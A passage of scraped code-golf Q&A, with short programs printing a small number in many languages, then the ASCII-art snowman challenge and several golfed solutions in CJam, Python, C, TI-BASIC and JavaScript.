href="{{LINK}}">Link</a></td></tr> </tbody> </table> ``` [Answer] ## [Retina](https://github.com/mbuettner/retina/), score 1 ``` ``` The empty program counts the number of matches of the empty regex in the input (which is the empty string). That's exactly 1 match, so it prints `1`. [Try it online.](http://retina.tryitonline.net/#code=&input=) [Answer] # [Pyth](https://pyth.readthedocs.org/en/latest/index.html), 10 ``` T ``` First attempt at using Pyth. Having had the question clarified, it seems 10 will be the smallest number. In Pyth the letter T starts off as the number 10, so this simply prints `10` which is larger than the length of the source code. You can [try it here](https://pyth.herokuapp.com/?code=T&debug=0). [Answer] # bc, 10 ``` A ``` Luckily, `bc` prints the result of the last expression by default. `A` is interpreted as a hex digit, so results in `10`. [Answer] # Fishing, score ~~7,958,661,109,946,400,884,391,936~~ 1,208,925,819,614,629,174,706,176 Is this the highest non-trivial-looking score ever in a minimization challenge? (Even though it has been golfed by 84.8%) ``` v+CCCCCCCCCC `32`nSSSSP ``` --- Explanation ``` v Sets the casting direction to down + Increments the casting distance by 1 CCCCCCCCCC Casts the rod `32` Pushes a string "32" to the stack n Converts the stack from a string to an integer SSSS Repeated squaring of the stack P Prints the stack ``` The number is `32^16` and has 25 digits. The code is 24 bytes long. The previous answer was `6^32`. [Answer] # MATLAB, 1,000,000,000 (109) Also works with **Octave** ``` disp(1e9) ``` Never going to beat the esolangs, but just for fun, this is the smallest MATLAB/Octave will be able to do, so thought I would post it anyway. [Answer] # TI-84 BASIC, 120 ``` 5! ``` `ᴇ2` would score better if not for the silly UTF-8 requirement. (It's only two bytes in the calculator's native tokenized encoding, but it's 4 in UTF-8...) [Answer] # [Hexagony](https://github.com/mbuettner/hexagony), score 100100 Code: ``` d!!@ ``` In a more readable form: ``` d ! ! @ . . . ``` The char value of `d` is 100. This will simply print the char value twice and terminates after. [Try it online!](http://hexagony.tryitonline.net/#code=IGQgIQohIEAgLgogLiAu&input=) [Answer] ## C#, score ~~10^72~~ ~~10^70~~ ~~10^64~~ 10^63 ``` class A{static void Main(){System.Console.Write($"1{0:D63}");}} ``` That's 1,000,000,000,000,000,000,000,000,000,000,000,000,000,000,000,000,000,000,000,000,000. I guess that I tried... [Answer] ## JavaScript, score 100,000,000,000 (or 1\*1011) ``` alert(1e11) ``` This is if using alert. Though you can get 100 000 000 times lesser score if using console: ``` 1e3 ``` [![](https://i.stack.imgur.com/PZ6NV.png)](https://i.stack.imgur.com/PZ6NV.png) Score 1000 as you can see, I'm not sure it counts using the console though. [Answer] # [PlatyPar](https://github.com/cyoce/PlatyPar), 59 ``` # ``` `#` starts a numeric base-60 literal, and since no digits are found, it ends up as `59`. This started as a happy accident, but since I have already [ab]used this bug in [another answer](https://codegolf.stackexchange.com/a/66729/41042), I kept it. [Try it online](https://rawgit.com/cyoce/PlatyPar/master/page.html?code=%23)! Here's another approach, my take on the boring way that everyone and their grandmother used for this challenge. # [PlatyPar](https://github.com/cyoce/PlatyPar), 100000000 (9 digits) ``` '18Md0+; ``` Explanation ``` '1 ## push "1" (a string) to the stack 8Md ; ## repeat 8 times 0+ ## add a 0 ## [implicitly] print the result ``` [Try it online](https://rawgit.com/cyoce/PlatyPar/master/page.html?code=%2718Md0+%3B)! [Answer] # C, 1000000000000000000000000000 (28 digits) ``` main(){printf("1%027d",0);} ``` Similar to my C++ answer, without the `#include <stdio.h>` (Ignore the warning about missing declaration of `printf`. Thanks @Dennis) Newline would require an additional 2 bytes, using format `1%029d\n` [Answer] # [Brainf\*\*k](http://www.muppetlabs.com/%7Ebreadbox/bf/), 11111111111111111111111111111111111 (~1e34) And another reduction: ``` +++++++[>+++++++>+<<-]>>[<.....>-] ``` Which gives 35 consecutive 1's, or approximately 1e34. --- A bit smaller still ``` ++++++++[>++++++>+<<-]>+>+[<....>-] ``` Gives 36 1's which is a number about 11% larger than 1e35. --- Thanks to @Martin Büttner for knocking off a couple of characters reducing the total output by a factor of 100 with this code (yields 1e36): ``` ++++++[>++++++++>++<<-]>+.->[<...>-] ``` --- My old code (yields 1+e38): ``` ++++++++[>++++++>++<<-]>+.->+++[<..>-] ``` I've been experimenting with esolangs out of boredom. This is the best I could do in BF. I wonder if it is possible to make it smaller? You can try it online [here](http://esoteric.sange.fi/brainfuck/impl/interp/i.html). [Answer] ## [Japt](http://ethproductions.github.io/japt/), score 10 ``` A ``` As shows the score, prints 10. [Answer] ## Python 2, 101010101010 ``` print'10'*6 ``` [Answer] ## PHP, score 10,000,000 ``` <?=1e7; ``` This prints 10000000 as can be seen [there](http://justachat.freevar.com/test.php). [Answer] # Brainfuck, 3333333333333333333333333 (25 threes) This is written "from scratch" so I think it's okay to post a separate answer: ``` -[>+>+<<-----]>-[-->.<] ``` 23 bytes long. [Answer] ## [Labyrinth](https://github.com/mbuettner/labyrinth), score 10,000,000 ``` 1!!!!>@ ``` It might be possible to bring this down by one order of magnitude, but I can't find anything right now. The first `1!!!!` prints `1000`. Then `>` shifts the source code to ``` @1!!!!> ``` which avoids early termination. Then the IP hits a dead end and turns around. Now `!!!!` prints four more zeroes and `@` terminates the program. [Try it online.](http://labyrinth.tryitonline.net/#code=MSEhISEKQA&input=) [Answer] # [Samau](https://github.com/AlephAlpha/Samau), 42 ``` A ``` `A` pushes the Answer to the Ultimate Question of Life, The Universe, and Everything onto the stack. Then the top of the stack is automatically printed. [Answer] # [DC](https://rosettacode.org/wiki/Category:Dc), 10000 4 chars program: ``` I4^f ``` 5 digits output: ``` $ dc<<<'I4^f' 10000 ``` [Answer] # [Vitsy](https://github.com/VTCAKAVSMoACE/Vitsy), 7! = 5040 ``` 7FN ``` Outputs 5040. [Try it online!](http://vitsy.tryitonline.net/#code=N0ZO&input=) [Answer] # C, 11111111111111111111111111111111111 (35 ones) ``` main(c){while(c++<36)putchar(49);} ``` Maybe there's a shorter way. The lack of a simple way to print big numbers in C makes it tricky. [Answer] # CJam, score 10 ``` A ``` [Try it online!](http://cjam.tryitonline.net/#code=QQ&input=) [Answer] ## Python 2, 107918163081 ``` print 69**6 ``` [Answer] # Java, 111111111111111111111111111111111111111111111111111111111111111111111111111111111 (81 ones) ``` interface A{static void main(String[]a){for(A i:new A[81])System.out.print(1);}} ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ``` I've underlined the part that is actually "variable" here; everything else is absolutely necessary for a working Java program. Presumably this is shorter than mucking around with Java's `BigInteger`. [Answer] # [Cubix](https://github.com/ETHproductions/cubix), 100100 ``` @'dOu ``` Cubix is a 2-dimensional, stack-based esolang. Cubix is different from other 2D langs in that the source code is wrapped around the outside of a cube. [Test it online!](https://ethproductions.github.io/cubix/?code=QCdkT3U=&input=&speed=3) ## Explanation The first thing the interpreter does is figure out the smallest cube that the code will fit onto. In this case, the edge-length is 1. Then the code is padded with no-ops `.` until all six sides are filled. Whitespace is removed before processing, so this code is identical to the above: ``` @ ' d O u . ``` Now the code is run. The IP (instruction pointer) starts out on the far left face, pointing east. The first char the IP encounters is `'`, which pushes the next byte onto the stack; this byte is `d`, or `100`. Next is `O`, which outputs the top item (100) as an integer. Then the IP hits `u`, which turns it to the right, moves it forward, then turns it again. It switches to the bottom face pointing north, then rotates to the east. This wraps it to the `O` again, outputting 100, then up to `@` which terminates the program. [Answer] # [Jelly](http://github.com/DennisMitchell/jelly), score 120 ``` 5! ``` Calculates the factorial of 5. [Try it online!](http://jelly.tryitonline.net/#code=NSE&input=) [Answer] # [MATL](https://esolangs.org/wiki/MATL), 1000 ``` 1e3 ``` *Note: [latest GitHub commit](https://github.com/lmendo/MATL/commit/77a5eba228ccedec8ac0d58d0f1842aba03858cc) of the compiler works on Octave as well as on Matlab.* This interprets the number in scientific notation, and implicitly prints it, thus producing the output > > 1000 > > > [Answer] # Perl, 1000000000 ``` print 1e9 ``` Straightforward. [Answer] ## C++, 1e46 ``` #include <stdio.h> main(){printf("1%046d",0);} ``` Newline would require an additional 2 bytes, using format "1%048d\n" [Answer] # O, 10 ``` A ``` Apparently the score is the number we print! ]
[Question] [ Here is a simple [ASCII art](http://en.wikipedia.org/wiki/ASCII_art) snowman: ``` _===_ (.,.) ( : ) ( : ) ``` Let's make him some friends. This will be the general pattern for our ASCII art snowpeople: ``` HHHHH HHHHH X(LNR)Y X(TTT)Y (BBB) ``` The leading spaces and the parentheses are always the same for all snowpeople. The different letters represent sections of the pattern that can individually change. Each section has exactly four presets for what ASCII characters can fill it. By mixing and matching these presets for all eight sections, we can make a variety of snowpeople. # All Presets (Notice that spaces are put on otherwise empty lines so the section shape is always correct.) ### H is for Hat 1. Straw Hat ``` _===_ ``` 2. Mexican Hat ``` ___ ..... ``` 3. Fez ``` _ /_\ ``` 4. [Russian Hat](http://en.wikipedia.org/wiki/Ushanka) ``` ___ (_*_) ``` ### N is for Nose/Mouth 1. Normal `,` 2. Dot `.` 3. Line `_` 4. None ### L is for Left Eye 1. Dot `.` 2. Bigger Dot `o` 3. Biggest Dot `O` 4. Closed `-` ### R is for Right Eye (Same list as left eye.) ### X is for Left Arm 1. Normal Arm ``` < ``` 2. Upwards Arm ``` \ ``` 3. Downwards Arm ``` / ``` 4. None ``` ``` ### Y is for Right Arm 1. Normal Arm ``` > ``` 2. Upwards Arm ``` / ``` 3. Downwards Arm ``` \ ``` 4. None ``` ``` ### T is for Torso 1. Buttons `:` 2. Vest `] [` 3. Inward Arms `> <` 4. None ### B is for Base 1. Buttons `:` 2. Feet `" "` 3. Flat `___` 4. None # Challenge Write a program that takes in an eight character string (via stdin or command line) in the format `HNLRXYTB`, where each letter is a digit from 1 to 4 that denotes which preset to use for the corresponding section of the snowperson. Print the full snowperson to stdout. For example, the input `11114411` is the snowman at the top of the page. (First `1`: he has a straw hat, second `1`: he has a normal nose, etc.) Another example, the snowperson for input `33232124`: ``` _ /_\ \(o_O) (] [)> ( ) ``` # Details * Any amounts and combinations of leading/trailing spaces and leading/trailing newlines are allowed as long as... + the snowperson has all their sections arranged correctly with respect to one another, and + there are never more than 64 total whitespace characters (the general pattern is only 7×5, so you probably won't hit this limit).You don't need to print rows/columns of the pattern if they only contain whitespace. e.g. the empty line of the straw hat is not required. * You must use the ordering of the parts as they are given above. * Instead of a program, you may write a function that takes the digit string as an argument. The output should be printed normally or returned as a string. * You may treat the input as an integer instead of a string if preferred. # Scoring The shortest code in bytes wins. ***Bonus question:*** Which of the 65536 distinct snowpeople is your favorite? [Answer] # JavaScript ES6, 210 208 202 bytes ``` s=>` 0 8(213)9 4(6)5 (7)`.replace(/\d/g,p=>`_===_1 ___ .....1 _ /_\\1 ___ (_*_)1,1.1_11.1o101-1.1o101-1<11/11>11\\11 : 1] [1> <1 1 : 1" "1___1 11\\11 11/11 `.split(1)[s[p>7?p-4:p]-1+p*4]||' ') ``` This is an anonymous function; you use it by executing `([function code])('42232124')`. The most aggravating part of this was the arms, which take up 2 lines, so I had to include code for both top and bottom. The Stack Snippet below has ungolfed, un-ES6-ified, commented code. And you can use it to easily test the code and try out different combinations. **Edit:** I'm having way too much fun with this. I've added several new features, including a way to generate a random snowman. Thanks to Yair Rand for saving six bytes. ``` var f=function(s){ return' 0\n8(213)9\n4(6)5\n (7)' // Start with a placeholder string with all the static components .replace(/\d/g,function(p){ // Go through each placeholder number to replace it with its value // The massive string below holds all the possible body parts, separated by 1 for easy splitting. // The two at the end are for the top of the arms return'_===_1 ___\n .....1 _\n /_\\1 ___\n (_*_)1,1.1_11.1o101-1.1o101\ -1<11/11>11\\11 : 1] [1> <1 1 : 1" "1___1 11\\11 11/11 '.split(1) [s[p>7?p-4:p]-1 // Get the value from the input string. If the current body part // is the top of the two-line arms (8 or 9), drop it down to 4 or 5 // Subtract 1 to account for the 0-indexed array. +p*4] // multiply by 4 to skip to the relevant code ||' ' // To save bytes in the above string, spaces are empty strings, so replace them here }) } // Code for the interactive version follows // http://codepen.io/hsl/pen/bdEgej function updateRadios(){$('input[type="radio"]').each(function(){if($(this).is(":checked")){var t=$(this).data("p"),i=$(this).data("v");input[t]=i}}),inputS=input.join(""),update()}var input=[],inputS=$("#code").val(),update=function(){$("#p").text(f(inputS)),$("#code").val(inputS)};$('input[type="radio"]').change(updateRadios),$("#code").keyup(function(){inputS=$(this).val(),update()}),updateRadios(),$("#random").click(function(){for(var t=0;8>t;t++)$("div:eq("+t+") input:eq("+Math.floor(4*Math.random())+")").prop("checked",!0);updateRadios()}); ``` ``` body{font-family:sans-serif}h2{font-size:18px;font-weight:400}label{display:block}div{display:inline-block;margin:0 10px}#code{width:70px} ``` ``` <script src="https://ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js"></script><div><h2>Hat</h2><label><input type="radio" name="p1" data-p="1" data-v="1"> Straw hat</label><label><input type="radio" name="p1" data-p="1" data-v="2"> Mexican hat</label><label><input type="radio" name="p1" data-p="1" data-v="3"> Fez</label><label><input type="radio" name="p1" data-p="1" data-v="4" checked> Russian hat</label></div><div><h2>Nose/mouth</h2><label><input type="radio" name="p2" data-p="2" data-v="1"> Normal</label><label><input type="radio" name="p2" data-p="2" data-v="2" checked> Dot</label><label><input type="radio" name="p2" data-p="2" data-v="3"> Line</label><label><input type="radio" name="p2" data-p="2" data-v="4"> None</label></div><div><h2>Left eye</h2><label><input type="radio" name="p3" data-p="3" data-v="1"> Dot</label><label><input type="radio" name="p3" data-p="3" data-v="2" checked> Bigger dot</label><label><input type="radio" name="p3" data-p="3" data-v="3"> Biggest dot</label><label><input type="radio" name="p3" data-p="3" data-v="4"> Closed</label></div><div><h2>Right eye</h2><label><input type="radio" name="p4" data-p="4" data-v="1"> Dot</label><label><input type="radio" name="p4" data-p="4" data-v="2"> Bigger dot</label><label><input type="radio" name="p4" data-p="4" data-v="3" checked> Biggest dot</label><label><input type="radio" name="p4" data-p="4" data-v="4"> Closed</label></div><div><h2>Left arm</h2><label><input type="radio" name="p5" data-p="5" data-v="1"> Normal</label><label><input type="radio" name="p5" data-p="5" data-v="2" checked> Upwards</label><label><input type="radio" name="p5" data-p="5" data-v="3"> Downwards</label><label><input type="radio" name="p5" data-p="5" data-v="4"> None</label></div><div><h2>Right arm</h2><label><input type="radio" name="p6" data-p="6" data-v="1" checked> Normal</label><label><input type="radio" name="p6" data-p="6" data-v="2"> Upwards</label><label><input type="radio" name="p6" data-p="6" data-v="3"> Downwards</label><label><input type="radio" name="p6" data-p="6" data-v="4"> None</label></div><div><h2>Torso</h2><label><input type="radio" name="p7" data-p="7" data-v="1"> Buttons</label><label><input type="radio" name="p7" data-p="7" data-v="2" checked> Vest</label><label><input type="radio" name="p7" data-p="7" data-v="3"> Inward arms</label><label><input type="radio" name="p7" data-p="7" data-v="4"> None</label></div><div><h2>Base</h2><label><input type="radio" name="p8" data-p="8" data-v="1"> Buttons</label><label><input type="radio" name="p8" data-p="8" data-v="2"> Feet</label><label><input type="radio" name="p8" data-p="8" data-v="3"> Flat</label><label><input type="radio" name="p8" data-p="8" data-v="4" checked> None</label></div><br><button id="random">Randomize</button><pre id="p"></pre><input type="text" id="code"> ``` [Answer] # CJam, ~~135~~ ~~134~~ ~~132~~ ~~130~~ ~~126~~ 125 bytes ``` 0000000: 4e22285b200a5c225f2a295c2d2e2f6f2c3e4f3a3c3d5d225f N"([ .\"_*)\-./o,>O:<=]"_ 0000019: 2422dd7382d6bfab28707190992f240c362ee510262bd07a77 $".s....(pq../$.6...&+.zw 0000032: 08556de9dcdb566c676817c2b87f5ecb8bab145dc2f2f76e07 .Um...Vlgh....^....]...n. 000004b: 22323536624b623224663d4e2f7b5f2c342f2f7d25723a7e2e "256bKb2$f=N/{_,4//}%r:~. 0000064: 3d2828342423346222205f0a20222e2a6f6f736572372f4e2a =((4$#4b" _. ".*ooser7/N* ``` To create the file on your machine, execute `xxd -r > snowman.cjam`, paste the reversible hexdump from above, press `Enter` and finally `Ctrl` + `D`. Alternatively, you can try the code online using the [CJam interpreter](http://cjam.aditsu.net/#code=N%22(%5B%20%0A%5C%22_*)%5C-.%2Fo%2C%3EO%3A%3C%3D%5D%22_%24%22%C3%9Ds%C2%82%C3%96%C2%BF%C2%AB(pq%C2%90%C2%99%2F%24%0C6.%C3%A5%10%26%2B%C3%90zw%08Um%C3%A9%C3%9C%C3%9BVlgh%17%C3%82%C2%B8%7F%5E%C3%8B%C2%8B%C2%AB%14%5D%C3%82%C3%B2%C3%B7n%07%22256bKb2%24f%3DN%2F%7B_%2C4%2F%2F%7D%25r%3A~.%3D((4%24%234b%22%20_%0A%20%22.*ooser7%2FN*&input=12222212). ### Bonus My favorite snowman is Olaf: ``` $ LANG=en_US cjam snowman.cjam <<< 12222212 _===_ \(o.o)/ ( : ) (" ") ``` *Winter's a good time to stay in and cuddle, but put me in summer and I'll be a… happy snowman!* ### Idea The hex string ``` dd7382d6bfab28707190992f240c362ee510262bd07a7708 556de9dcdb566c676817c2b87f5ecb8bab145dc2f2f76e07 ``` encodes the possible choices for all parts of the snowman, including the fixed ones. Let's call this string **P**. To decode it, we convert **P** (here treated as an array of integers) from base 256 to base 20 and replace each of the resulting integers by the corresponding character of the string **M**: ``` ([ "_*)\-./o,>O:<=] ``` This results in the string **T**: ``` /(_*_)"_===_/....., /_\ ,._ -.oO -.oO <\ / >/ \ : ] [> < : " "___ ((() ``` The first line encodes all hat choices, the last all fixed body parts. The other lines contain the 28 variable body parts. We split **T** at linefeeds and divide the strings of the resulting array into four parts of equal length. Then, we read the input from STDIN, push the array of its digits in base 10 and select the corresponding elements of the split strings. We take advantage of the fact that arrays wrap around in CJam, so the element at index 4 of an array of length 4 is actually the first element. The last divided string does not correspond to any input, so it will get selected entirely. We handle the hat by shifting the first element out of the resulting array. The index in **M** of first character, read as a base 4 number, reveals the number of spaces and underscores in the first line of the hat. We print those characters, a linefeed, a space and the remainder of the shifted string. Then, we push an additional linefeed on the bottom of the stack. For the body parts, we concatenate the string corresponding to all of them. Let's call this string **S**. To assemble the body parts, we perform transliteration: we take each character of the string **M**, compute its index in **sort(M)** and replace it by the corresponding character of **S**. We take advantage of the fact that the transliteration operator automatically pads **S** to match the length of **sort(M)** by repeating the last character of **S** as many times as necessary. Finally, we divide the resulting string into substrings of length 7 and place a linefeed between each pair of substrings. ### Code Suppose that the variables `M` and `P` contain the strings **M** and **P**. ``` N e# Push a linefeed. M_$ e# Push M and a sorted copy. P256bKb e# Push P and convert it from base 256 to base 20. 2$ e# Push a copy of M. f= e# Compute T by retrieving the proper chars from M. N/ e# Split T at linefeeds. {_,4//}% e# Divide each string into four substrings of equal length. r:~ e# Read a number from STDIN and push the array of its digits in base 10. .= e# Get the corresponding chunks from T. (( e# Shift out the first string and that string's first character. 4$# e# Find its index in M. 4b e# Compute its digits in base 4. " _ ".* e# Repeat the space and underscore that many times in place. oo e# Print the result and the shifted string. s e# Flatten the remainder of the array. This pushes S. er e# Perform transliteration. 7/ e# Split into chunks of length 7. N* e# Join using linefeeds. ``` [Answer] # CJam, 164 bytes Generates the snowman left-to-right, top-to-bottom. This eliminates the need for any kind of string joining or repositioning operations, as I just leave every piece of the snowman on the stack. And then, due to the automatic stack dump at the end of programs: ♫ *CJam wants to build a snowman!* ♫ ``` q:Q;SS" _===_,___ ....., _ /_\,___ (_*_)"',/0{Q=~(=}:G~N" \ "4G'(".oO-"_2G",._ "1G@3G')" / "5GN"< / "4G'(" : ] [> < "3/6G')"> \ "5GNS'(" : \" \"___ "3/7G') ``` [Try it online.](http://cjam.aditsu.net/#code=q%3AQ%3BSS%22%0A%20_%3D%3D%3D_%2C___%0A%20.....%2C%20_%0A%20%20%2F_%5C%2C___%0A%20(_*_)%22'%2C%2F0%7BQ%3D~(%3D%7D%3AG~N%22%20%5C%20%224G'(%22.oO-%22_2G%22%2C._%20%221G%403G')%22%20%2F%20%225GN%22%3C%20%2F%20%224G'(%22%20%3A%20%5D%20%5B%3E%20%3C%20%20%20%223%2F6G')%22%3E%20%5C%20%225GNS'(%22%20%3A%20%5C%22%20%5C%22___%20%20%20%223%2F7G')&input=33232124) ### Bonus Thinking outside the box! `32443333` gives a snow(wo)man bride. You've gotta try a bit to see it, but there are the inward arms, fez + downwards arms = veil, and the head is actually in the fez/veil. The generally large form is the billowy dress, and the "eyes" and "nose" are folds in the dress. ``` _ /_\ (-.-) /(> <)\ (___) ``` Other "eye" choices are a bit risqué... [Answer] # Python, ~~276~~ 289 bytes ``` V='.oO-' def F(d): D=lambda i:int(d[i])-1 print" "+("","___"," _ ","___")[D(0)]+"\n "+\ "_. (=./_=._*=.\\__. )"[D(0)::4]+"\n"+\ " \\ "[D(4)]+"("+V[D(2)]+',._ '[D(1)]+V[D(3)]+")"+" / "[D(5)]+'\n'+\ "< / "[D(4)]+"("+" ]> : [< "[D(6)::4]+")"+"> \\ "[D(5)]+"\n ("+\ ' "_ : _ "_ '[D(7)::4]+")" ``` This code has 8 extra bytes(`\`\*4) for readability. Builds the snowman up bit by bit. # Bonus `F("44444432")` gives "sleepy russian bear": ``` ___ (_*_) (- -) (> <) (" ") ``` [Answer] # TI-BASIC, 397 bytes **Important:** If you want to test this out, download it from [here](https://www.dropbox.com/s/exwuo6zm9xsn7q6/SNOWMAN.8xp?dl=0) and send that file to your calculator. Do *not* try to copy the code below into TI-Connect CE's program editor or SourceCoder 3 or something to build and send it to your calculator; in TI-Connect's case, it'll say it has an invalid token. SC3 uses the backslash as a comment delimiter (`//` starts a comment in SC3; `/\/`, though, will export as `//`) and so it won't export the arms and hat and such correctly, causing the program to both display the incorrect body parts and throw an ERROR:DOMAIN every now and then. Fun stuff! **Important #2:** I'm too lazy to fix the download at the moment, so when you transfer it to your calc, change the `7` on the third line from the bottom to `X+6`. The code below is fixed if you need to compare. ``` Input Str9 seq(inString("1234",sub(Str9,I,1)),I,1,length(Ans→L1 " ___ _ ___ →Str1 "_===_..... /_\ (_*_)→Str2 ",._ →Str3 "•oO-→Str4 "<\/ →Str5 ">/\ →Str6 " : ] [> < →Str7 " : ¨ ¨___ →Str8 "Str1Str2Str3Str4Str5Str6Str7Str8→Str0 For(X,3,5 Output(X,2,"( ) End L1 Output(3,3,sub(Str4,Ans(3),1)+sub(Str3,Ans(2),1)+sub(Str4,Ans(4),1 Ans(5 Output(4-(Ans=2),1,sub(Str5,Ans,1 L1(6 Output(4-(Ans=2),7,sub(Str6,Ans,1 L1-1 For(X,1,2 Output(X+3,3,sub(expr(sub(Str0,X+6,1)),1+3Ans(X+6),3 Output(X,2,sub(expr(sub(Str0,X,1)),1+5Ans(1),5 End ``` **Bonus:** I'm particularly fond of `12341214`. ``` _===_ (O.-)/ <( : ) ( ) ``` Some notes: * It can definitely be golfed more, no question about that. I'm nearly positive that I can combine a majority, if not all, of the outputting into a single For( loop. Also, I'm pretty sure that I can merge some strings together. * In Str4 (the eyes) I use the "plot dot" (`[2ND] → [0]CATALOG → [3]θ → scroll down, it's between ﹢ (small plus) and · (interpunct)`) as opposed to a period so that the eyes don't line up with the comma, because that looks weird as hell. * In Str8 (base) I had to use a diaeresis (¨) instead of double quotes because there's no way to escape characters in TI-BASIC, and double quotes are used to start/end strings. * In TI-BASIC, there's no need to close parentheses and brackets if they're followed by a colon, newline or → (used for var assignment), and double quotes (strings) can stay unclosed when followed by a newline or →. [Answer] # Python 2, ~~354~~ ~~280~~ ~~241~~ 261 bytes ``` def s(g):H,N,L,R,X,Y,T,B=[int(c)-1for c in g];e='.oO-';print(' '*9+'_ _ ___ _ _\n\n\n\n _. (=./_=._*=.\\__. )')[H::4]+'\n'+' \\ '[X]+'('+e[L]+',._ '[N]+e[R]+')'+' / '[Y]+'\n'+'< / '[X]+"("+' ]> : [< '[T::4]+')'+'> \\ '[Y]+'\n ('+' "_ : _ "_ '[B::4]+")" ``` Calling `s('33232124')` gives: ``` _ /_\ \(o_O) (] [)> ( ) ``` But my favorites are `44242123` and `41341144`: ``` ___ ___ (_*_) (_*_) \(o -) (O,-) (] [)> <( )> (___) ( ) ``` [Answer] # CJam, ~~150~~ 145 bytes Base convert **all** the things! ``` "b8li' U9gN;|"125:Kb8bl:~f="r pL|P3{cR`@L1iT"Kb21b"G.HMtNY7VM=BM@$^$dX8a665V"KbFb"=_./ <[(*-oO,\":"f=_"/<[(""\>])"er+4/f=.=7/N* ``` SE mangles unprintables, so [here](http://pastebin.com/J4eFVDtR) is a copy on Pastebin. Make sure you copy the "RAW Paste Data" part, not the part next to line numbers. You can [try it online](http://cjam.aditsu.net/#code=%22%02b8%11li%27%0A%07U9gN%3B%7C%22125%3AKb8bl%3A%7Ef%3D%22%02r%09pL%7CP3%19%7B%0EcR%60%40%1DL1i%07T%15%22Kb21b%22%01G%0F%1D.H%17M%13tNY7V%15M%3DBM%40%24%5E%08%24%1B%1EdX8a665V%22KbFb%22%3D_.%2F%20%3C%5B%28*-oO%2C%5C%22%3A%22f%3D_%22%2F%3C%5B%28%22%22%5C%3E%5D%29%22er%2B4%2Ff%3D.%3D7%2FN*&input=14441133), but the permalink may not work in some browsers. ## Explanation The `"b8li'U9gN;|"125:Kb8bp` part generates the array ``` [1 0 0 0 0 0 0 0 0 0 0 0 0 0 4 0 2 1 3 0 5 4 0 6 6 6 0 5 0 0 7 7 7 0] ``` which maps each digit of the input to where the digit is used. Anything which is common to all inputs (e.g. leading spaces and `()`) is arbitrarily assigned a 0, except the first which is assigned 1 so that base convert can work. `l:~f=` then converts each digit to an int and maps accordingly, e.g. for `14441133` we get ``` [2 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 3 2 4 1 2 1 1 3 3 3 1 2 1 1 4 4 4 1] ``` `"G.HMtNY7VM=BM@$^$dX8a665V"KbFb"=_./ <[(*-oO,\":"f=` gives the string ``` "_=./ / < / [<(((((_. _ _ _ __*=._-.oO ,._ \"_ : : _" ``` after which we duplicate, replace `/<[(` with `\>])` and append to give a long string. Then we split the string into groups of 4 and map according to another array `"r pL|P3{cR`@L1iT"Kb21b`, thus getting an array of length-4 strings describing all possible options at each cell (e.g. `_=./` is all possible options for the second character on the second line, starting from the Russian hat). Finally we map the options to the inputs accordingly `.=`, split into rows of length 7 `7/` and riffle in some newlines `N*`. ## Test runs ``` 11111111 _===_ (.,.) <( : )> ( : ) 22222222 ___ ..... \(o.o)/ (] [) (" ") 33333333 _ /_\ (O_O) /(> <)\ (___) 44444444 ___ (_*_) (- -) ( ) ( ) ``` [Answer] # C, ~~280 272~~ 264 bytes Only partially golfed at this point, but this is a fun challenge. ``` #define P(n)[s[n]&3], f(char*s){printf(" %.3s\n %.5s\n%c(%c%c%c)%c\n%c(%.3s)%c\n (%.3s)", "___ ___ _"+*s%4*3,"(_*_)_===_..... /_\\"+*s%4*5," \\ "P(4)"-.o0"P(2) " ,._"P(1)"-.o0"P(3)" /"P(5)" < /"P(4)" : ] [> <"+s[6]%4*3," > \\"P(5) " : \" \"___"+s[7]%4*3);} ``` (With some extra \n for readability.) I expect the `define` should go away with further golfing. A more readable version is ``` #define P(n)[s[n]&3], f(char *s) { printf(" %.3s\n" " %.5s\n" "%c(%c%c%c)%c\n" "%c(%.3s)%c\n" " (%.3s)", "___ ___ _"+*s%4*3, /* Top of hat. */ "(_*_)_===_..... /_\\"+*s%4*5, /* Lower hat. */ " \\ "P(4) /* Upper left arm. */ "-.o0"P(2) /* Left eye. */ " ,._"P(1) /* Nose. */ "-.o0"P(3) /* Right eye. */ " /"P(5) /* Upper right arm. */ " < /"P(4) /* Lower left arm. */ " : ] [> <"+s[6]%4*3, /* Torso. */ " > \\"P(5) /* Lower right arm. */ " : \" \"___"+s[7]%4*3 /* Base. */ ); } ``` [Answer] # C, 212 bytes ``` d;main(){char*t="##3#b#b3#bbb3#b#b##\r#3b1#+3@12b3@1b-3@1_b3b1#,#\r7#_##+51rR04/1b#61rR0,8#2##\r7?#2#+9#`A#9=###9#^?#,8A#_#\r#+:#%b#:=#b#:#%b#,#",p[9];for(gets(p);d=*t++;putchar(d-3))d=d<51?d:(p[d-51]-53)[t+=4];} ``` A readable version: ``` d; main() { char *t = "##3#b#b3#bbb3#b#b##\r" "#3b1#+3@12b3@1b-3@1_b3b1#,#\r" "7#_##+51rR04/1b#61rR0,8#2##\r" "7?#2#+9#`A#9=###9#^?#,8A#_#\r" "#+:#%b#:=#b#:#%b#,#", p[9]; // 9 bytes is just enough for the input string of length 8 for (gets(p); d = *t++; putchar(d-3)) d = d < 51 ? d : (p[d - 51] - 53)[t += 4]; } ``` I took the idea from [the answer by Reto Koradi](https://codegolf.stackexchange.com/a/49914/25315). There were several fun improvements I did, which may warrant posting a separate answer: * Converted from function to program (+10) * Moved newlines into the control string (-7) * Added 3 to all character codes to have fewer escaped chars like `\"` (-3) * Reading from the string with autoincrement; also replaced `t[i++]` by `*t++` (-4) * Replaced `while` by `for`; removed `{}` (-4) * Simplified loop termination: reading until `\0` (-9) * [Transformed `t[...],t+=4` to `(...)[t+=4]`](https://stackoverflow.com/questions/381542/with-c-arrays-why-is-it-the-case-that-a5-5a) to eliminate the comma operator (-1) Why all that trouble? To share my favorite one, snow ghost: ``` _ /_\ \(. .)/ ( ) (___) ``` [Answer] # JavaScript, 489 (without newlines and tabs) ``` x=' '; d=" "; h=['\n_===_',' ___ \n.....',' _ \n /_\\ ',' ___ \n(_*-)']; n=[',','.','_',x]; e=['.','o','O','-']; y=['>',,'\\',x]; u=['<',,'/',x]; t=[' : ','[ ]','> <',d; b=[' : ','" "',"___",d]; j=process.argv[2].split('').map(function(k){return parseInt(k)-1}); q=j[4]==1; w=j[5]==1; console.log([ h[j[0]].replace(/(.*)\n(.*)/g, " $1\n $2"), (q?'\\':x)+'('+e[j[2]]+n[j[1]]+e[j[3]]+')'+(w?'/':x), (!q?u[j[4]]:x)+'('+t[j[6]]+')'+(!w?y[j[5]]:x), x+'('+b[j[7]]+')'].join('\n')); ``` run with `node snowman.js 33232124` [Answer] # Pyth, 203 